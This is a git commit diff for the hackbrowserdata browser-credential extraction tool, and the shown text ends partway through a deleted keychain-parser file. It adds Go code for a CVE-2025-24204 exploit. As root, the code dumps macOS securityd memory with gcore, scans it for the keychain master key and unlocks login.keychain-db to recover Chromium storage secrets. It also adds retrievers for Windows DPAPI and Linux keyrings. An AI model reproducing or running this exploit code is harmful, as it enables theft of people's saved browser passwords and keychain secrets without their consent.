feat: add crypto/keyretriever with keychainbreaker integration (#518)

* feat: add crypto/keyretriever package for Chromium master key retrieval

* feat: complete keyretriever with gcoredump, chainbreaker, and tests

* refactor: replace internal chainbreaker with keychainbreaker v0.1.0

Replace the incomplete internal chainbreaker implementation (~1400 lines
of duplicated code) with the external keychainbreaker package, which
provides a complete, well-tested keychain parsing library.

Changes:
- Add github.com/moond4rk/keychainbreaker v0.1.0 dependency
- Update gcoredump_darwin.go to use keychainbreaker API (Open/Unlock/GenericPasswords)
- Add KeychainPasswordRetriever for password-based keychain unlocking
  with sync.Once caching across multiple browser queries
- Unify DefaultRetriever(keychainPassword string) signature across all platforms
- Delete utils/chainbreaker/ (696 lines + test + testdata)
- Delete crypto/keyretriever/chainbreaker_darwin.go (696 lines duplicate)
- Delete browser/exploit/gcoredump/ (duplicate of keyretriever version)
- Update chromium_darwin.go to use keyretriever.DecryptKeychain
- Clean up .golangci.yml lint exceptions and .gitignore entries
- Use errors.Is() instead of == for context.DeadlineExceeded check

* refactor: improve gcoredump exploit code quality and add comments
* fix: address Copilot review feedback on keyretriever
This commit is contained in:
Roger
2026-03-28 21:13:10 +08:00
committed by moonD4rk
parent 12436217ae
commit 9fb5165fcb
16 changed files with 654 additions and 965 deletions
-3
View File
@@ -36,9 +36,6 @@
# === RFCs ===
!rfcs/*.md
# === Test fixtures ===
!utils/chainbreaker/testdata/*.keychain-db
# === Always ignore (override !*/) ===
.git/
.idea/
+1 -8
View File
@@ -193,16 +193,9 @@ linters:
- path: "crypto/"
linters:
- gocritic
- path: "utils/chainbreaker/"
- path: "crypto/keyretriever/gcoredump_darwin.go"
linters:
- gocritic
- path: "browser/exploit/"
linters:
- gocritic
- gocognit
- funlen
- whitespace
- staticcheck
formatters:
enable:
+2 -2
View File
@@ -11,8 +11,8 @@ import (
"os/exec"
"strings"
"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
)
@@ -27,7 +27,7 @@ func (c *Chromium) GetMasterKey() ([]byte, error) {
defer os.Remove(types.ChromiumKey.TempFilename())
// Try get the master key via gcoredump(CVE-2025-24204)
secret, err := gcoredump.DecryptKeychain(c.storage)
secret, err := keyretriever.DecryptKeychain(c.storage)
if err == nil && secret != "" {
log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
if key, err := c.parseSecret([]byte(secret)); err == nil {
-227
View File
@@ -1,227 +0,0 @@
//go:build darwin
package gcoredump
// CVE-2025-24204
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
// https://support.apple.com/en-us/122373
import (
"debug/macho"
"encoding/binary"
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
"unsafe"
"golang.org/x/sys/unix"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
)
var (
homeDir, _ = os.UserHomeDir()
LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
)
func GetMacOSVersion() string {
v, err := unix.Sysctl("kern.osproductversion")
if err == nil {
return v
}
return ""
}
func FindProcessByName(name string, forceRoot bool) (int, error) {
buf, err := unix.SysctlRaw("kern.proc.all")
if err != nil {
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
}
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
if len(buf)%kinfoSize != 0 {
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
}
count := len(buf) / kinfoSize
for i := 0; i < count; i++ {
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
pname := byteSliceToString(proc.Proc.P_comm[:])
if pname == name {
// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
// If P_ppid is missing, we can rely on P_ruid.
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
return int(proc.Proc.P_pid), nil
}
}
}
return 0, fmt.Errorf("securityd process not found")
}
type addressRange struct {
start uint64
end uint64
}
func DecryptKeychain(storagename string) (string, error) {
if os.Geteuid() != 0 {
return "", errors.New("requires root privileges")
}
// find securityd PID
pid, err := FindProcessByName("securityd", true)
if err != nil {
return "", fmt.Errorf("failed to find securityd pid: %w", err)
}
corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
defer os.Remove(corePath)
// dump securityd memory:
// gcore -d -s -v -o core_path PID
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
}
// find MALLOC_SMALL regions
regions, err := findMallocSmallRegions(pid)
if err != nil {
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
}
// open core dump
cmf, err := macho.Open(corePath)
if err != nil {
return "", fmt.Errorf("failed to open core dump: %w", err)
}
defer cmf.Close()
// scan regions
var candidates []string
seen := make(map[string]struct{})
for _, region := range regions {
// read region data
data, vaddr, err := getMallocSmallRegionData(cmf, region)
if err != nil {
// Region might not be in core dump or other error, skip
continue
}
// Search for pattern
// 0x18 (8 bytes) followed by pointer (8 bytes)
for i := 0; i < len(data)-16; i += 8 {
val := binary.LittleEndian.Uint64(data[i : i+8])
if val == 0x18 {
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
if ptr >= region.start && ptr <= region.end {
offset := ptr - vaddr
if offset+0x18 <= uint64(len(data)) {
masterKey := make([]byte, 0x18)
copy(masterKey, data[offset:offset+0x18])
keyStr := fmt.Sprintf("%x", masterKey)
if _, found := seen[keyStr]; !found {
candidates = append(candidates, keyStr)
seen[keyStr] = struct{}{}
log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
}
}
}
}
}
}
// fuzz master key candidates
for _, candidate := range candidates {
kc, err := chainbreaker.New(LoginKeychainPath, candidate)
if err != nil {
log.Debugf("Failed to unlock keychain: %v", err)
continue
}
records, err := kc.DumpGenericPasswords()
if err != nil {
log.Debugf("Failed to unlock keychain: %v", err)
continue
}
for _, rec := range records {
if rec.Account == storagename {
// TODO decode base64 password
if rec.PasswordBase64 {
}
return rec.Password, nil
}
}
}
return "", nil
}
func findMallocSmallRegions(pid int) ([]addressRange, error) {
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
output, err := cmd.Output()
if err != nil {
return nil, err
}
var regions []addressRange
lines := strings.Split(string(output), "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "MALLOC_SMALL") {
parts := strings.Fields(line)
if len(parts) < 2 {
continue
}
rangeStr := parts[1]
rangeParts := strings.Split(rangeStr, "-")
if len(rangeParts) != 2 {
continue
}
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
if err != nil {
continue
}
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
if err != nil {
continue
}
regions = append(regions, addressRange{start: start, end: end})
}
}
return regions, nil
}
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
for _, seg := range f.Loads {
if s, ok := seg.(*macho.Segment); ok {
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
data := make([]byte, s.Filesz)
_, err := s.ReadAt(data, 0)
if err != nil {
return nil, 0, err
}
return data, s.Addr, nil
}
}
}
return nil, 0, fmt.Errorf("region not found in core dump")
}
func byteSliceToString(s []byte) string {
for i, v := range s {
if v == 0 {
return string(s[:i])
}
}
return string(s)
}
+246
View File
@@ -0,0 +1,246 @@
//go:build darwin
package keyretriever
// CVE-2025-24204: macOS securityd TCC bypass via gcore.
// The gcore binary holds the com.apple.system-task-ports.read entitlement,
// allowing any root process to dump securityd memory without a TCC prompt.
// We scan the dump for the 24-byte keychain master key, then use it to
// extract browser storage passwords from login.keychain-db.
//
// References:
// - https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
// - https://support.apple.com/en-us/122373
import (
"debug/macho"
"encoding/binary"
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
"unsafe"
"golang.org/x/sys/unix"
"github.com/moond4rk/keychainbreaker"
)
var (
homeDir, _ = os.UserHomeDir()
loginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
)
// findProcessByName returns the PID of the first process matching name.
// If forceRoot is true, only matches processes owned by root (uid 0).
func findProcessByName(name string, forceRoot bool) (int, error) {
buf, err := unix.SysctlRaw("kern.proc.all")
if err != nil {
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
}
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
if len(buf)%kinfoSize != 0 {
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
}
count := len(buf) / kinfoSize
for i := 0; i < count; i++ {
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
pname := byteSliceToString(proc.Proc.P_comm[:])
if pname == name {
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
return int(proc.Proc.P_pid), nil
}
}
}
return 0, fmt.Errorf("securityd process not found")
}
type addressRange struct {
start uint64
end uint64
}
// DecryptKeychain extracts the browser storage password from login.keychain-db
// by dumping securityd memory and scanning for the keychain master key.
// Requires root privileges.
func DecryptKeychain(storagename string) (string, error) {
if os.Geteuid() != 0 {
return "", errors.New("requires root privileges")
}
pid, err := findProcessByName("securityd", true)
if err != nil {
return "", fmt.Errorf("failed to find securityd pid: %w", err)
}
// gcore appends ".PID" to the -o prefix, e.g. prefix.123
corePrefix := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
corePath := fmt.Sprintf("%s.%d", corePrefix, pid)
defer os.Remove(corePath)
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
}
// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys
regions, err := findMallocSmallRegions(pid)
if err != nil {
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
}
candidates, err := scanMasterKeyCandidates(corePath, regions)
if err != nil {
return "", err
}
if len(candidates) == 0 {
return "", fmt.Errorf("no master key candidates found in securityd memory")
}
// read keychain file once, reuse buffer for each candidate
keychainBuf, err := os.ReadFile(loginKeychainPath)
if err != nil {
return "", fmt.Errorf("read keychain: %w", err)
}
// try each candidate key against the keychain
for _, candidate := range candidates {
kc, err := keychainbreaker.Open(keychainbreaker.WithBytes(keychainBuf))
if err != nil {
continue
}
if err := kc.Unlock(keychainbreaker.WithKey(candidate)); err != nil {
continue
}
records, err := kc.GenericPasswords()
if err != nil {
continue
}
for _, rec := range records {
if rec.Account == storagename {
return string(rec.Password), nil
}
}
}
return "", fmt.Errorf("tried %d candidates, none matched storage %q", len(candidates), storagename)
}
// scanMasterKeyCandidates scans the core dump for 24-byte master key candidates.
//
// securityd stores the master key in a MALLOC_SMALL region with the layout:
//
// [0x18 (8 bytes)] [pointer to key data (8 bytes)]
//
// 0x18 = 24 is the key length. The pointer references a 24-byte buffer
// within the same region containing the raw master key.
func scanMasterKeyCandidates(corePath string, regions []addressRange) ([]string, error) {
cmf, err := macho.Open(corePath)
if err != nil {
return nil, fmt.Errorf("failed to open core dump: %w", err)
}
defer cmf.Close()
var candidates []string
seen := make(map[string]struct{})
for _, region := range regions {
data, vaddr, err := getMallocSmallRegionData(cmf, region)
if err != nil {
continue
}
for i := 0; i < len(data)-16; i += 8 {
// look for the length marker (0x18 = 24 bytes)
val := binary.LittleEndian.Uint64(data[i : i+8])
if val != 0x18 {
continue
}
// next 8 bytes should be a pointer within this region
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
if ptr < region.start || ptr > region.end {
continue
}
// read 24 bytes at the pointer offset
offset := ptr - vaddr
if offset+0x18 > uint64(len(data)) {
continue
}
masterKey := make([]byte, 0x18)
copy(masterKey, data[offset:offset+0x18])
keyStr := fmt.Sprintf("%x", masterKey)
if _, found := seen[keyStr]; !found {
candidates = append(candidates, keyStr)
seen[keyStr] = struct{}{}
}
}
}
return candidates, nil
}
// findMallocSmallRegions parses vmmap output to find MALLOC_SMALL heap regions.
func findMallocSmallRegions(pid int) ([]addressRange, error) {
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
output, err := cmd.Output()
if err != nil {
return nil, err
}
var regions []addressRange
lines := strings.Split(string(output), "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "MALLOC_SMALL") {
parts := strings.Fields(line)
if len(parts) < 2 {
continue
}
rangeParts := strings.Split(parts[1], "-")
if len(rangeParts) != 2 {
continue
}
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
if err != nil {
continue
}
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
if err != nil {
continue
}
regions = append(regions, addressRange{start: start, end: end})
}
}
return regions, nil
}
// getMallocSmallRegionData finds the Mach-O segment matching the given
// address range and returns its raw data and virtual address.
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
for _, seg := range f.Loads {
if s, ok := seg.(*macho.Segment); ok {
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
data := make([]byte, s.Filesz)
_, err := s.ReadAt(data, 0)
if err != nil {
return nil, 0, err
}
return data, s.Addr, nil
}
}
}
return nil, 0, fmt.Errorf("region not found in core dump")
}
func byteSliceToString(s []byte) string {
for i, v := range s {
if v == 0 {
return string(s[:i])
}
}
return string(s)
}
+40
View File
@@ -0,0 +1,40 @@
package keyretriever
import (
"errors"
"fmt"
)
// KeyRetriever retrieves the master encryption key for a Chromium-based browser.
// Each platform has different implementations:
// - macOS: Keychain access (security command) or gcoredump exploit
// - Windows: DPAPI decryption of Local State file
// - Linux: D-Bus Secret Service or fallback to "peanuts" password
type KeyRetriever interface {
RetrieveKey(storage, localStatePath string) ([]byte, error)
}
// ChainRetriever tries multiple retrievers in order, returning the first success.
// Used on macOS (gcoredump → password → security) and Linux (D-Bus → peanuts).
type ChainRetriever struct {
retrievers []KeyRetriever
}
// NewChain creates a ChainRetriever that tries each retriever in order.
func NewChain(retrievers ...KeyRetriever) KeyRetriever {
return &ChainRetriever{retrievers: retrievers}
}
func (c *ChainRetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) {
var errs []error
for _, r := range c.retrievers {
key, err := r.RetrieveKey(storage, localStatePath)
if err == nil && len(key) > 0 {
return key, nil
}
if err != nil {
errs = append(errs, fmt.Errorf("%T: %w", r, err))
}
}
return nil, fmt.Errorf("all retrievers failed: %w", errors.Join(errs...))
}
+130
View File
@@ -0,0 +1,130 @@
//go:build darwin
package keyretriever
import (
"bytes"
"context"
"crypto/sha1"
"errors"
"fmt"
"os/exec"
"strings"
"sync"
"time"
"github.com/moond4rk/keychainbreaker"
)
// https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
var darwinParams = pbkdf2Params{
salt: []byte("saltysalt"),
iterations: 1003,
keyLen: 16,
hashFunc: sha1.New,
}
// securityCmdTimeout is the maximum time to wait for the security command.
const securityCmdTimeout = 30 * time.Second
// GcoredumpRetriever uses CVE-2025-24204 to extract keychain secrets
// by dumping the securityd process memory. Requires root privileges.
type GcoredumpRetriever struct{}
func (r *GcoredumpRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
secret, err := DecryptKeychain(storage)
if err != nil {
return nil, fmt.Errorf("gcoredump: %w", err)
}
if secret == "" {
return nil, fmt.Errorf("gcoredump: empty secret for %s", storage)
}
return darwinParams.deriveKey([]byte(secret)), nil
}
// KeychainPasswordRetriever unlocks login.keychain-db directly using the
// user's macOS login password. No root privileges required.
// The keychain is opened and decrypted only once; subsequent calls
// for different browsers reuse the cached records.
type KeychainPasswordRetriever struct {
Password string
once sync.Once
records []keychainbreaker.GenericPassword
err error
}
func (r *KeychainPasswordRetriever) loadRecords() {
kc, err := keychainbreaker.Open()
if err != nil {
r.err = fmt.Errorf("open keychain: %w", err)
return
}
if err := kc.Unlock(keychainbreaker.WithPassword(r.Password)); err != nil {
r.err = fmt.Errorf("unlock keychain: %w", err)
return
}
r.records, r.err = kc.GenericPasswords()
}
func (r *KeychainPasswordRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
if r.Password == "" {
return nil, fmt.Errorf("keychain password not provided")
}
r.once.Do(r.loadRecords)
if r.err != nil {
return nil, r.err
}
for _, rec := range r.records {
if rec.Account == storage {
return darwinParams.deriveKey(rec.Password), nil
}
}
return nil, fmt.Errorf("storage %q not found in keychain", storage)
}
// SecurityCmdRetriever uses macOS `security` CLI to query Keychain.
// This may trigger a password dialog on macOS.
type SecurityCmdRetriever struct{}
func (r *SecurityCmdRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
ctx, cancel := context.WithTimeout(context.Background(), securityCmdTimeout)
defer cancel()
var stdout, stderr bytes.Buffer
cmd := exec.CommandContext(ctx, "security", "find-generic-password", "-wa", strings.TrimSpace(storage)) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
if errors.Is(ctx.Err(), context.DeadlineExceeded) {
return nil, fmt.Errorf("security command timed out after %s", securityCmdTimeout)
}
return nil, fmt.Errorf("security command: %w (%s)", err, strings.TrimSpace(stderr.String()))
}
if stderr.Len() > 0 {
return nil, fmt.Errorf("keychain: %s", strings.TrimSpace(stderr.String()))
}
secret := bytes.TrimSpace(stdout.Bytes())
if len(secret) == 0 {
return nil, fmt.Errorf("keychain: empty secret for %s", storage)
}
return darwinParams.deriveKey(secret), nil
}
// DefaultRetriever returns the macOS retriever chain.
// If keychainPassword is provided, the password-based retriever is included.
func DefaultRetriever(keychainPassword string) KeyRetriever {
retrievers := []KeyRetriever{
&GcoredumpRetriever{},
}
if keychainPassword != "" {
retrievers = append(retrievers, &KeychainPasswordRetriever{Password: keychainPassword})
}
retrievers = append(retrievers, &SecurityCmdRetriever{})
return NewChain(retrievers...)
}
+87
View File
@@ -0,0 +1,87 @@
//go:build linux
package keyretriever
import (
"crypto/sha1"
"fmt"
"github.com/godbus/dbus/v5"
keyring "github.com/ppacher/go-dbus-keyring"
)
// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc
var linuxParams = pbkdf2Params{
salt: []byte("saltysalt"),
iterations: 1,
keyLen: 16,
hashFunc: sha1.New,
}
// DBusRetriever queries GNOME Keyring / KDE Wallet via D-Bus Secret Service.
type DBusRetriever struct{}
func (r *DBusRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
conn, err := dbus.SessionBus()
if err != nil {
return nil, fmt.Errorf("dbus session: %w", err)
}
svc, err := keyring.GetSecretService(conn)
if err != nil {
return nil, fmt.Errorf("secret service: %w", err)
}
session, err := svc.OpenSession()
if err != nil {
return nil, fmt.Errorf("open session: %w", err)
}
defer session.Close()
collections, err := svc.GetAllCollections()
if err != nil {
return nil, fmt.Errorf("get collections: %w", err)
}
for _, col := range collections {
items, err := col.GetAllItems()
if err != nil {
continue
}
for _, item := range items {
label, err := item.GetLabel()
if err != nil {
continue
}
if label == storage {
secret, err := item.GetSecret(session.Path())
if err != nil {
return nil, fmt.Errorf("get secret for %s: %w", storage, err)
}
if len(secret.Value) > 0 {
return linuxParams.deriveKey(secret.Value), nil
}
}
}
}
return nil, fmt.Errorf("secret %q not found in keyring", storage)
}
// FallbackRetriever uses the hardcoded "peanuts" password when D-Bus is unavailable.
// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100
type FallbackRetriever struct{}
func (r *FallbackRetriever) RetrieveKey(_, _ string) ([]byte, error) {
return linuxParams.deriveKey([]byte("peanuts")), nil
}
// DefaultRetriever returns the Linux retriever chain:
// D-Bus Secret Service first, then "peanuts" fallback.
// The keychainPassword parameter is unused on Linux.
func DefaultRetriever(_ string) KeyRetriever {
return NewChain(
&DBusRetriever{},
&FallbackRetriever{},
)
}
+69
View File
@@ -0,0 +1,69 @@
package keyretriever
import (
"errors"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
type mockRetriever struct {
key []byte
err error
}
func (m *mockRetriever) RetrieveKey(_, _ string) ([]byte, error) {
return m.key, m.err
}
func TestChainRetriever_FirstSuccess(t *testing.T) {
chain := NewChain(
&mockRetriever{key: []byte("first-key")},
&mockRetriever{key: []byte("second-key")},
)
key, err := chain.RetrieveKey("Chrome", "")
require.NoError(t, err)
assert.Equal(t, []byte("first-key"), key)
}
func TestChainRetriever_FallbackOnError(t *testing.T) {
chain := NewChain(
&mockRetriever{err: errors.New("first failed")},
&mockRetriever{key: []byte("fallback-key")},
)
key, err := chain.RetrieveKey("Chrome", "")
require.NoError(t, err)
assert.Equal(t, []byte("fallback-key"), key)
}
func TestChainRetriever_AllFail(t *testing.T) {
chain := NewChain(
&mockRetriever{err: errors.New("first failed")},
&mockRetriever{err: errors.New("second failed")},
)
key, err := chain.RetrieveKey("Chrome", "")
assert.Error(t, err)
assert.Nil(t, key)
assert.Contains(t, err.Error(), "all retrievers failed")
assert.Contains(t, err.Error(), "first failed")
assert.Contains(t, err.Error(), "second failed")
}
func TestChainRetriever_SkipEmptyKey(t *testing.T) {
// First returns nil key without error — should skip to next
chain := NewChain(
&mockRetriever{key: nil, err: nil},
&mockRetriever{key: []byte("real-key")},
)
key, err := chain.RetrieveKey("Chrome", "")
require.NoError(t, err)
assert.Equal(t, []byte("real-key"), key)
}
func TestChainRetriever_Empty(t *testing.T) {
chain := NewChain()
key, err := chain.RetrieveKey("Chrome", "")
assert.Error(t, err)
assert.Nil(t, key)
}
@@ -0,0 +1,55 @@
//go:build windows
package keyretriever
import (
"encoding/base64"
"fmt"
"os"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto"
)
// DPAPIRetriever reads the encrypted key from Chrome's Local State file
// and decrypts it using Windows DPAPI.
type DPAPIRetriever struct{}
func (r *DPAPIRetriever) RetrieveKey(_, localStatePath string) ([]byte, error) {
data, err := os.ReadFile(localStatePath)
if err != nil {
return nil, fmt.Errorf("read Local State: %w", err)
}
encryptedKey := gjson.GetBytes(data, "os_crypt.encrypted_key")
if !encryptedKey.Exists() {
return nil, fmt.Errorf("os_crypt.encrypted_key not found in Local State")
}
keyBytes, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return nil, fmt.Errorf("base64 decode encrypted_key: %w", err)
}
// First 5 bytes are the "DPAPI" prefix, validate and skip them
const dpapiPrefix = "DPAPI"
if len(keyBytes) <= len(dpapiPrefix) {
return nil, fmt.Errorf("encrypted_key too short: %d bytes", len(keyBytes))
}
if string(keyBytes[:len(dpapiPrefix)]) != dpapiPrefix {
return nil, fmt.Errorf("encrypted_key unexpected prefix: got %q, want %q", keyBytes[:len(dpapiPrefix)], dpapiPrefix)
}
masterKey, err := crypto.DecryptWithDPAPI(keyBytes[len(dpapiPrefix):])
if err != nil {
return nil, fmt.Errorf("DPAPI decrypt: %w", err)
}
return masterKey, nil
}
// DefaultRetriever returns the Windows retriever (DPAPI only).
// The keychainPassword parameter is unused on Windows.
func DefaultRetriever(_ string) KeyRetriever {
return &DPAPIRetriever{}
}
+21
View File
@@ -0,0 +1,21 @@
package keyretriever
import (
"hash"
"github.com/moond4rk/hackbrowserdata/crypto"
)
// pbkdf2Params holds platform-specific PBKDF2 key derivation parameters.
// Each platform file defines its own params variable.
type pbkdf2Params struct {
salt []byte
iterations int
keyLen int
hashFunc func() hash.Hash
}
// deriveKey derives an encryption key from a secret using PBKDF2.
func (p pbkdf2Params) deriveKey(secret []byte) []byte {
return crypto.PBKDF2Key(secret, p.salt, p.iterations, p.keyLen, p.hashFunc)
}
+1
View File
@@ -6,6 +6,7 @@ require (
github.com/DATA-DOG/go-sqlmock v1.5.2
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1
github.com/godbus/dbus/v5 v5.2.2
github.com/moond4rk/keychainbreaker v0.1.0
github.com/otiai10/copy v1.14.1
github.com/ppacher/go-dbus-keyring v1.0.1
github.com/stretchr/testify v1.11.1
+2
View File
@@ -25,6 +25,8 @@ github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpO
github.com/kisielk/sqlstruct v0.0.0-20201105191214-5f3e10d3ab46/go.mod h1:yyMNCyc/Ib3bDTKd379tNMpB/7/H5TjM2Y9QJ5THLbE=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/moond4rk/keychainbreaker v0.1.0 h1:9hkE70c4jxaTHStZ3kny4GEJ/srcvt2DZe0vUg3m8V0=
github.com/moond4rk/keychainbreaker v0.1.0/go.mod h1:VVx2VXwL2EGhuU2WBD67w66JCKKqLFXGJg91y3FY4f0=
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
-695
View File
@@ -1,695 +0,0 @@
package chainbreaker
// Logic ported from https://github.com/n0fate/chainbreaker
import (
"bytes"
"crypto/cipher"
"crypto/des"
"encoding/base64"
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"os"
"strings"
"time"
"unicode/utf8"
)
const (
atomSize = 4
headerSize = 20
schemaSize = 8
tableHeaderSize = 28
keyBlobRecordHeaderSize = 132
keyBlobStructSize = 24
genericPasswordHeaderSize = 22 * 4
blockSize = 8
keyLength = 24
metadataOffsetAdjustment = 0x38
keyBlobMagic uint32 = 0xFADE0711
keychainSignature = "kych"
secureStorageGroup = "ssgp"
keychainLockedSignature = "[Invalid Password / Keychain Locked]"
)
const (
cssmDBRecordTypeAppDefinedStart uint32 = 0x80000000
cssmGenericPassword = cssmDBRecordTypeAppDefinedStart + 0
cssmMetadata = cssmDBRecordTypeAppDefinedStart + 0x8000
cssmDBRecordTypeOpenGroupStart uint32 = 0x0000000A
cssmSymmetricKey = cssmDBRecordTypeOpenGroupStart + 7
)
const dbBlobSize = 92
var magicCMSIV = []byte{0x4a, 0xdd, 0xa2, 0x2c, 0x79, 0xe8, 0x21, 0x05}
type Keychain struct {
buf []byte
header applDBHeader
tableList []uint32
tableEnum map[uint32]int
dbblob dbBlob
baseAddr int
dbKey []byte
keyList map[string][]byte
}
type applDBHeader struct {
Signature [4]byte
Version uint32
HeaderSize uint32
SchemaOffset uint32
AuthOffset uint32
}
type applDBSchema struct {
SchemaSize uint32
TableCount uint32
}
type tableHeader struct {
TableSize uint32
TableID uint32
RecordCount uint32
Records uint32
IndexesOffset uint32
FreeListHead uint32
RecordNumbersCount uint32
}
type dbBlob struct {
StartCryptoBlob uint32
TotalLength uint32
Salt []byte
IV []byte
}
type keyBlobRecordHeader struct {
RecordSize uint32
}
type keyBlob struct {
Magic uint32
StartCryptoBlob uint32
TotalLength uint32
IV []byte
}
type genericPasswordHeader struct {
RecordSize uint32
SSGPArea uint32
CreationDate uint32
ModDate uint32
Description uint32
Comment uint32
Creator uint32
Type uint32
PrintName uint32
Alias uint32
Account uint32
Service uint32
}
type ssgpBlock struct {
Magic []byte
Label []byte
IV []byte
EncryptedPassword []byte
}
type genericPassword struct {
Description string
Creator string
Type string
PrintName string
Alias string
Account string
Service string
Created string
LastModified string
Password string
PasswordBase64 bool
}
func New(path, unlockHex string) (*Keychain, error) {
buf, err := os.ReadFile(path)
if err != nil {
return nil, err
}
hdr, err := parseHeader(buf)
if err != nil {
return nil, err
}
if string(hdr.Signature[:]) != keychainSignature {
return nil, fmt.Errorf("invalid keychain signature: %q", hdr.Signature)
}
schema, tableList, err := parseSchema(buf, hdr.SchemaOffset)
if err != nil {
return nil, err
}
if schema.TableCount == 0 {
return nil, errors.New("schema does not list any tables")
}
kc := &Keychain{
buf: buf,
header: hdr,
tableList: tableList,
tableEnum: make(map[uint32]int),
keyList: make(map[string][]byte),
}
if err := kc.buildTableIndex(); err != nil {
return nil, err
}
metaOffset, err := kc.getTableOffset(cssmMetadata)
if err != nil {
return nil, err
}
kc.baseAddr = headerSize + int(metaOffset) + metadataOffsetAdjustment
if kc.baseAddr+dbBlobSize > len(kc.buf) {
return nil, errors.New("db blob exceeds file size")
}
blob, err := parseDBBlob(kc.buf[kc.baseAddr : kc.baseAddr+dbBlobSize])
if err != nil {
return nil, err
}
kc.dbblob = blob
masterKey, err := decodeUnlockKey(unlockHex)
if err != nil {
return nil, err
}
dbKey, err := kc.findWrappingKey(masterKey)
if err != nil {
return nil, err
}
kc.dbKey = dbKey
if err := kc.generateKeyList(); err != nil {
return nil, err
}
return kc, nil
}
func parseHeader(buf []byte) (applDBHeader, error) {
if len(buf) < headerSize {
return applDBHeader{}, errors.New("file too small for header")
}
hdr := applDBHeader{}
copy(hdr.Signature[:], buf[:4])
hdr.Version = binary.BigEndian.Uint32(buf[4:8])
hdr.HeaderSize = binary.BigEndian.Uint32(buf[8:12])
